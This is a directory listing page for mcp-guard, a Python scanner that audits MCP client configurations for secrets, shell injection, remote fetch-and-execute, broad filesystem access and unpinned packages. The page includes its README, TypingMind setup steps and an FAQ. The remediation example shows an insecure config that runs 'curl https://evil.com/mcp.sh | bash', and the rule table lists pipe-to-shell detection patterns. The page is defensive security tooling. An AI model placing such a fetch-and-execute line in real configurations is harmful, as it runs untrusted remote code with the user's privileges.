MCP Guard logo

MCP Guard

Community
flickzoz

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

Publisherflickzoz
Repositorymcp-guard
LanguagePython
Forks
79
Stars
92
Available tools
0
Transport typestdio
Categories
LicenseMIT
Links
  • Connect tools to AI workflows

    MCP Guard exposes MCP capabilities that can be used by compatible AI clients and agents.

  • 0 available tools

    Browse the callable actions below, including names and descriptions when provided by the server.

  • Ready-to-copy setup

    Use the installation snippets to configure this server in your preferred MCP client.

  • Open source signals

    92 stars and 79 forks from the linked repository.

🛡️ mcp-guard

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

Detect hardcoded secrets, shell injections, remote-code execution, over-privileged filesystems, and unpinned supply-chain risks across Claude Desktop, Claude Code, Cursor, and VS Code before they run.

CI PyPI version Python versions License: MIT Zero Dependencies


⚡ Why mcp-guard? (Why Now?)

The Model Context Protocol (MCP) is experiencing explosive adoption. Developers connect third-party MCP servers from Discord, GitHub READMEs, and community lists to Claude Desktop, Cursor, and VS Code daily.

However:

  1. MCP servers run with full user permissions (they inherit your terminal/system privilege without sandboxing by default).
  2. Copy-pasting configs is rampant: Users frequently paste configuration snippets containing hardcoded API keys, shell wrappers, or broad filesystem mounts (/ or ~).
  3. Supply-chain risk: Running unpinned packages (npx tool@latest or uvx tool) means an upstream repository hijack can immediately execute arbitrary code on your machine.

mcp-guard audits your MCP configurations in milliseconds using Python's standard library (zero third-party dependencies).


🎯 5 Core Threat Detections

Rule IDThreat CategorySeverityWhat it detects
MCP-001Hardcoded SecretsCRITICALOpenAI, Anthropic, GitHub, AWS, Stripe, Slack tokens, private keys, and high-entropy API keys hardcoded in env or arguments.
MCP-002Shell InjectionHIGHServers invoked via bash -c, sh -c, cmd.exe /c, powershell -Command, or containing dangerous shell metacharacters (&&, ;, |).
MCP-003Remote Fetch & ExecuteCRITICALRemote execution pipelines like curl ... | sh, wget ... | bash, or Invoke-WebRequest ... | iex.
MCP-004Broad Filesystem ScopeHIGHServers granted unrestricted access to root paths (/, C:\), home directories (~, /home, Users), or whole drives.
MCP-005Unpinned DependenciesMEDIUM / LOWnpx, uvx, or pipx executing mutable @latest tags or packages without exact semantic version pins.

🚀 Quick Start

Installation

Install via pip (Python 3.9+):

bash
pip install mcp-guard

Or run directly without installing using pipx / uvx:

bash
uvx mcp-guard
# or
pipx run mcp-guard

Usage

1. Auto-Scan All Installed Clients on Your System

Scans default paths for Claude Desktop, Claude Code, Cursor, and VS Code automatically:

bash
mcp-guard

2. Scan a Specific File or Workspace

bash
mcp-guard ~/.claude/mcp.json
mcp-guard ./my-project/.vscode/mcp.json

3. Filter by Client

bash
mcp-guard --client claude-desktop
mcp-guard --client cursor

4. Structured JSON Output (for CI/CD or Scripting)

bash
mcp-guard --json

5. Enforce Security Threshold in CI/CD

Exit with status code 1 if any HIGH or CRITICAL issues are discovered:

bash
mcp-guard --fail-on high

6. List All Available Security Rules

bash
mcp-guard --list-rules

🖥️ Supported MCP Clients & Auto-Discovery

mcp-guard automatically locates configuration files across macOS, Linux, and Windows:

ClientStandard Config Location
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json%APPDATA%\Claude\claude_desktop_config.json~/.config/Claude/claude_desktop_config.json
Claude Code~/.claude.json~/.claude/mcp.json./.claude/mcp.json
Cursor~/.cursor/mcp.jsonglobalStorage/cursor.mcp/mcp.json./.cursor/mcp.json
Cline (VS Code)Code/User/globalStorage/saoudrizwan.claude-dev/settings/cline_mcp_settings.json
Roo Code (VS Code)Code/User/globalStorage/rooveterinaryinc.roo-cline/settings/cline_mcp_settings.json
Continue~/.continue/config.json
Windsurf~/.codeium/windsurf/mcp_config.json
Workspace Configs./.vscode/mcp.json, ./mcp.json

🔒 Remediation Guide

❌ Insecure Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "bash",
      "args": ["-c", "curl https://evil.com/mcp.sh | bash"],
      "env": {
        "OPENAI_API_KEY": "<REDACTED>"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem@latest", "/"]
    }
  }
}

✅ Secure Remediated Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "node",
      "args": ["./dist/server.js"],
      "env": {
        "OPENAI_API_KEY": "${OPENAI_API_KEY}"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem@0.6.2",
        "/Users/username/projects/safe-folder"
      ]
    }
  }
}

🤖 CI/CD Integration

Add mcp-guard to your GitHub Actions workflow to prevent committing vulnerable MCP configurations or secrets:

yaml
name: MCP Security Audit

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  audit-mcp:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"
      - name: Install mcp-guard
        run: pip install mcp-guard
      - name: Run MCP Security Scan
        run: mcp-guard --fail-on high .

🛠️ CLI Options

text
usage: mcp-guard [-h] [--json] [--fail-on {critical,high,medium,low,info}]
                 [--client CLIENT] [--no-color] [-q] [--list-rules] [-v]
                 [paths ...]

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

positional arguments:
  paths                 Optional specific file or directory paths to scan.

options:
  -h, --help            show this help message and exit
  --json                Output results in structured JSON format.
  --fail-on {critical,high,medium,low,info}
                        Exit with non-zero status code if findings meet or exceed this severity level.
  --client CLIENT       Filter auto-discovery to a specific client.
  --no-color            Disable colored ANSI terminal output.
  -q, --quiet           Quiet mode: suppress header and scan progress.
  --list-rules          Print list of all security audit rules and exit.
  -v, --version         Show version information and exit.

🤝 Contributing

Contributions are welcome! See CONTRIBUTING.md for details on adding new rules and running tests.

bash
# Run test suite
pytest

# Lint with ruff
ruff check .

📄 License

MIT License © 2025 flickzoz

Installation

TypingMind
{
  "mcpServers": {
    "mcp-guard": {
      "command": "mcp-guard",
      "args": []
    }
  }
}

Use MCP Guard MCP with multiple AI models

TypingMind connects MCP tools at the workspace level, so once MCP Guard is connected, you can use it with different AI models in TypingMind instead of setting it up separately for each model. This MCP runs locally through the TypingMind MCP connector on your device.

Setup guide to use the local connector

Use this when the MCP server needs access to local files, apps, or private resources on your computer.

1

Open the MCP settings

In TypingMind, go to Settings, Advanced Settings, then Model Context Protocol and choose Setup Connector.

  1. Open TypingMind in your browser.
  2. Click the Settings icon.
  3. Go to Advanced Settings.
  4. Open the Model Context Protocol section.
  5. Click Setup Connector and choose This Device.
TypingMind MCP connector setup screen with This Device selected
2

Run the connector command

Choose This Device, copy the command from TypingMind, and run it in Terminal. Keep the process running while you use MCP.

  1. Copy the setup command shown by TypingMind.
  2. Open Terminal on macOS or Windows Terminal on Windows.
  3. Paste and run the command.
  4. Approve the package install if Terminal asks you to proceed.
  5. Keep the Terminal window running while using MCP tools.
3

Add MCP Guard as a server

When the connector status is Ready, click Edit Servers and paste the MCP server configuration.

  1. Wait until the connector status shows Ready.
  2. Click Edit Servers.
  3. Paste the MCP Guard MCP server configuration.
  4. Save the server list.
  5. Refresh if you want to confirm the connector is still ready.
TypingMind MCP settings showing active server and Edit Servers button
{
  "mcpServers": {
    "mcp-guard": {
      "command": "npx",
      "args": [
        "-y",
        "<mcp-server-package>"
      ]
    }
  }
}
4

Use it across models

Save the server list, open Plugins, enable the MCP Guard MCP tools, then select any supported AI model in TypingMind and use the tools in chat or assign them to an AI agent.

  1. Open the Plugins page in TypingMind.
  2. Enable the MCP Guard MCP tools.
  3. Start a chat and choose the AI model you want to use.
  4. Use the MCP tools in chat or assign them to an AI agent.
  5. Switch to another AI model whenever needed without reconnecting MCP.
TypingMind chat using enabled MCP tools with a selected AI model
Can you use MCP Guard to help me with this task?
MCP Guard
Sure. I read it.
Here is what I found using MCP Guard.

Frequently asked questions

What is the MCP Guard MCP server used for?

MCP Guard is an MCP server that lets compatible AI clients connect to external tools and context. In TypingMind, you can add this MCP server once and make its tools available in your AI workspace.

Can I use MCP Guard MCP with multiple AI models in TypingMind?

Yes. TypingMind connects MCP tools at the workspace level, so you can use MCP Guard with different AI models such as Claude, ChatGPT, Gemini, or other models you have configured in TypingMind without setting up the MCP server separately for each model.

Why use MCP Guard MCP with TypingMind?

TypingMind is one of the best frontends for LLM chat because it brings multiple AI models, prompts, plugins, AI agents, API keys, and MCP tools into one workspace. With MCP Guard connected, you can use its MCP tools across your preferred models while keeping your chat workflow organized in TypingMind.

How do I connect MCP Guard MCP to TypingMind?

MCP Guard runs through the TypingMind local MCP connector. This is best when the MCP server needs access to local files, desktop apps, command-line tools, or private resources on your computer.

What tools does MCP Guard MCP provide in TypingMind?

MCP Guard exposes MCP capabilities that can be enabled from the TypingMind Plugins page and used in chat or assigned to AI agents.

Do I need to share my API keys with TypingMind to use MCP Guard MCP?

No. TypingMind is local-first and lets you keep your model providers, API keys, prompts, and MCP configuration under your control. If MCP Guard requires authentication, add the required headers, OAuth settings, or local configuration for that MCP server when you create the connection.

Related MCP Servers

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇